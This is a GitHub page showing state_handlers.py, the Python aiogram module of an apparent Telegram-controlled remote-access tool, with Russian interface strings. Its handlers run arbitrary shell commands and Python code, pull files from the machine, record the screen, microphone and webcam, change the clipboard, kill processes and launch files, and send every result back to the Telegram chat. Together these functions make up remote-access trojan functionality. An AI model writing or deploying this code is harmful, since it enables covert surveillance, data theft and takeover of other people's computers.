-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathstate_handlers.py
More file actions
233 lines (205 loc) · 8.44 KB
/
state_handlers.py
File metadata and controls
233 lines (205 loc) · 8.44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
from commands import *
from aiogram import Bot
from aiogram.types import Message
from aiogram.fsm.context import FSMContext
from states import *
from utils import send_safe_message, send_safe_document, send_file_and_cleanup
async def handle_states(message: Message, bot: Bot, state: FSMContext, command: str):
"""Обрабатывает все машины состояний"""
chat_id = message.chat.id
current_state = await state.get_state()
# MoveMouseCoord
if current_state == MoveMouseCoord.waiting_for_coords.state:
await state.clear()
parts = command.split()
if len(parts) == 2:
try:
x, y = int(parts[0]), int(parts[1])
response = move_mouse_coord(x, y)
except:
response = '❌ Введите два числа: x и y'
else:
response = '❌ Введите координаты через пробел: x y'
await send_safe_message(bot, chat_id, response)
return True
# MoveMouseDirection
elif current_state == MoveMouseDirection.waiting_for_direction.state:
direction = command.lower()
if direction in ['левее', 'правее', 'выше', 'ниже']:
await state.update_data(direction=direction)
await state.set_state(MoveMouseDirection.waiting_for_offset)
await send_safe_message(bot, chat_id, f'📏 На сколько пикселей {direction}?')
else:
await state.clear()
await send_safe_message(bot, chat_id, '❌ Направление должно быть: левее, правее, выше, ниже')
return True
elif current_state == MoveMouseDirection.waiting_for_offset.state:
data = await state.get_data()
direction = data.get('direction')
await state.clear()
try:
offset = int(command)
result = move_mouse_direction(direction, offset)
response = result if result else f'❌ Ошибка перемещения'
except:
response = '❌ Введите число'
await send_safe_message(bot, chat_id, response)
return True
# MsgBox
elif current_state == MsgBox.waiting_for_text.state:
await state.clear()
response = msg_box(command)
await send_safe_message(bot, chat_id, response)
return True
# MessageWrite
elif current_state == MessageWrite.waiting_for_text.state:
await state.clear()
response = message_write(command)
await send_safe_message(bot, chat_id, response)
return True
# CmdExec
elif current_state == CmdExec.waiting_for_command.state:
await state.clear()
result = execute_cmd(command)
temp_path = os.path.join(LOG_DIR, 'cmd_output.txt')
with open(temp_path, 'w', encoding='utf-8') as f:
f.write(result)
await send_file_and_cleanup(bot, chat_id, temp_path)
await send_safe_message(bot, chat_id, result[:700])
return True
# PythonExec
elif current_state == PythonExec.waiting_for_code.state:
await state.clear()
path, result = python_exec(command)
if path:
await send_file_and_cleanup(bot, chat_id, path)
else:
await send_safe_message(bot, chat_id, result)
return True
# VideoPc
elif current_state == VideoPc.waiting_for_seconds.state:
await state.clear()
try:
seconds = min(int(command), 500)
path, response = record_screen(seconds)
await send_file_and_cleanup(bot, chat_id, path)
except:
response = '❌ Введите число секунд'
await send_safe_message(bot, chat_id, response)
return True
# Download
elif current_state == Download.waiting_for_path.state:
await state.clear()
file_path = download_file(command)
if file_path:
await send_safe_document(bot, chat_id, file_path)
else:
await send_safe_message(bot, chat_id, f'❌ Файл не найден: {command}')
return True
# ClipboardSet
elif current_state == ClipboardSet.waiting_for_text.state:
await state.clear()
response = set_clipboard_text(command)
await send_safe_message(bot, chat_id, response)
return True
# KillProcess
elif current_state == KillProcess.waiting_for_pid.state:
await state.clear()
try:
pid = int(command)
response = kill_process_by_pid(pid)
except ValueError:
response = '❌ Введите число (PID)'
except Exception as e:
response = f'❌ Ошибка: {e}'
await send_safe_message(bot, chat_id, response)
return True
# MicRecord
elif current_state == MicRecord.waiting_for_seconds.state:
await state.clear()
try:
seconds = min(int(command), 300) # максимум 5 минут
path, response = record_audio(seconds)
if path:
await send_safe_document(bot, chat_id, path)
os.remove(path)
else:
await send_safe_message(bot, chat_id, response)
except:
await send_safe_message(bot, chat_id, '❌ Введите число секунд')
return True
# Run
elif current_state == Run.waiting_for_path.state:
await state.clear()
response = run_file(command)
await send_safe_message(bot, chat_id, response)
return True
# Wallpaper
elif current_state == Wallpaper.waiting_for_path.state:
await state.clear()
response = set_wallpaper(command)
await send_safe_message(bot, chat_id, response)
return True
# Ls
elif current_state == Ls.waiting_for_path.state:
await state.clear()
if command.lower() == 'enter' or command == '':
path = os.getcwd()
else:
path = command
response = list_directory(path)
await send_safe_message(bot, chat_id, response[:4000])
return True
# OpenBrowser
elif current_state == OpenBrowser.waiting_for_url.state:
await state.clear()
response = open_browser(command if command else None)
await send_safe_message(bot, chat_id, response)
return True
# CreateMoreFolders
elif current_state == CreateMoreFolders.waiting_for_count.state:
try:
count = int(command)
await state.update_data(count=count)
await state.set_state(CreateMoreFolders.waiting_for_name)
await send_safe_message(bot, chat_id, '📁 Введите базовое имя папок:')
except:
await state.clear()
await send_safe_message(bot, chat_id, '❌ Введите число')
return True
elif current_state == CreateMoreFolders.waiting_for_name.state:
await state.update_data(name=command)
await state.set_state(CreateMoreFolders.waiting_for_text)
await send_safe_message(bot, chat_id, '📝 Введите текст для заполнения файлов:')
return True
elif current_state == CreateMoreFolders.waiting_for_text.state:
data = await state.get_data()
await state.clear()
response = create_desktop_folders(data['count'], data['name'], command)
await send_safe_message(bot, chat_id, response)
return True
# DownloadFile
elif current_state == DownloadFile.waiting_for_file.state:
await state.clear()
await send_safe_message(bot, chat_id, '❌ Отправьте файл, а не текст')
return True
# WebcamRecord
elif current_state == WebcamRecord.waiting_for_seconds.state:
await state.clear()
try:
seconds = min(int(command), 60)
path, response = record_webcam(seconds)
if path:
await send_safe_document(bot, chat_id, path)
os.remove(path)
else:
await send_safe_message(bot, chat_id, response)
except:
await send_safe_message(bot, chat_id, '❌ Введите число секунд')
return True
# ClickImage
elif current_state == ClickImage.waiting_for_photo.state:
await state.clear()
await send_safe_message(bot, chat_id, '❌ Отправьте фото, а не текст')
return True
return False